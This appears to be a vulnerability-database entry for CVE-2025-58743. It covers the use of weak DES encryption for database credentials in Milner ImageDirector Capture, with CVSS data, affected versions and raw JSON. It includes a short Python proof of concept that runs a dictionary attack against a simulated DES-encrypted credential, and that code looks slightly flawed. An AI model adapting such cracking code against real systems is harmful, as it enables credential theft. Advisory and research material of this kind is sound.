Security Vulnerability Report
中文
CVE-2025-58743 CVSS 7.5 HIGH

CVE-2025-58743

Published: 2026-01-20 22:15:52
Last Modified: 2026-02-10 16:43:15
Source: 57dba5dd-1a03-47f6-8b36-e84e47d335d8

Description

Use of a Broken or Risky Cryptographic Algorithm (DES) vulnerability in the Password class in C2SConnections.dll in Milner ImageDirector Capture on Windows allows Encryption Brute Forcing to obtain database credentials.This issue affects ImageDirector Capture: from 7.0.9.0 before 7.6.3.25808.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:milner:imagedirector_capture:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Milner ImageDirector Capture 7.0.9.0 至 7.6.3.25808之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-58743 PoC - DES Encryption Brute Force Attack Simulation This PoC demonstrates the vulnerability in Milner ImageDirector Capture's use of DES encryption for database credentials. WARNING: For educational and authorized security testing only. """ import hashlib from Crypto.Cipher import DES import binascii def attempt_des_decrypt(encrypted_data, password_candidates): """ Attempt to decrypt data using DES with multiple password candidates. In real attack, this would use GPU acceleration for faster cracking. """ results = [] for password in password_candidates: try: # Pad password to 8 bytes (DES key size) key = password.encode('utf-8')[:8].ljust(8, b'\x00') cipher = DES.new(key, DES.MODE_ECB) decrypted = cipher.decrypt(encrypted_data) # Check for valid padding or readable content if b'\x00' in decrypted or decrypted.isprintable(): results.append({ 'password': password, 'decrypted': decrypted.decode('utf-8', errors='ignore') }) except Exception as e: continue return results def simulate_encryption_bruteforce(): """ Simulate the encryption brute force attack scenario. """ print("=" * 60) print("CVE-2025-58743 - DES Encryption Vulnerability PoC") print("Target: Milner ImageDirector Capture") print("=" * 60) # Example encrypted credential (simulated) sample_password = "admin123" key = sample_password.encode('utf-8')[:8].ljust(8, b'\x00') cipher = DES.new(key, DES.MODE_ECB) encrypted = cipher.encrypt(b'db_password\x00\x00\x00') print(f"[+] Encrypted credential: {binascii.hexlify(encrypted)}") print(f"[+] DES Key length: 56 bits (vulnerable to brute force)") # Common password candidates for brute force candidates = ['admin', 'admin123', 'password', 'database', 'milner', 'capture', 'imagedirector', 'root'] print("\n[*] Starting brute force attack simulation...") results = attempt_des_decrypt(encrypted, candidates) if results: print("[!] Potential credentials found:") for result in results: print(f" Password: {result['password']}") print(f" Decrypted: {result['decrypted']}") else: print("[-] No credentials found with common passwords") print("\n[!] Note: Real attacks use GPU acceleration") print("[!] DES 56-bit key can be cracked in hours with modern GPUs") print("=" * 60) if __name__ == "__main__": simulate_encryption_bruteforce()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58743", "sourceIdentifier": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "published": "2026-01-20T22:15:51.753", "lastModified": "2026-02-10T16:43:15.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of a Broken or Risky Cryptographic Algorithm (DES) vulnerability \n\nin the Password class in C2SConnections.dll in Milner ImageDirector Capture on Windows allows Encryption Brute Forcing to obtain database credentials.This issue affects ImageDirector Capture: from 7.0.9.0 before 7.6.3.25808."}, {"lang": "es", "value": "Vulnerabilidad por el uso de un algoritmo criptográfico roto o arriesgado (DES) en la clase Password en C2SConnections.dll en Milner ImageDirector Capture en Windows permite la fuerza bruta de cifrado para obtener credenciales de la base de datos. Este problema afecta a ImageDirector Capture: desde 7.0.9.0 antes de 7.6.3.25808."}], "metrics": {"cvssMetricV40": [{"source": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:milner:imagedirector_capture:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.9", "versionEndExcluding": "7.6.3.25808", "matchCriteriaId": "8D1B57A0-F2D5-41A7-BA72-4F2FE59FF416"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://sra.io/advisories", "source": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "tags": ["Third Party Advisory"]}]}}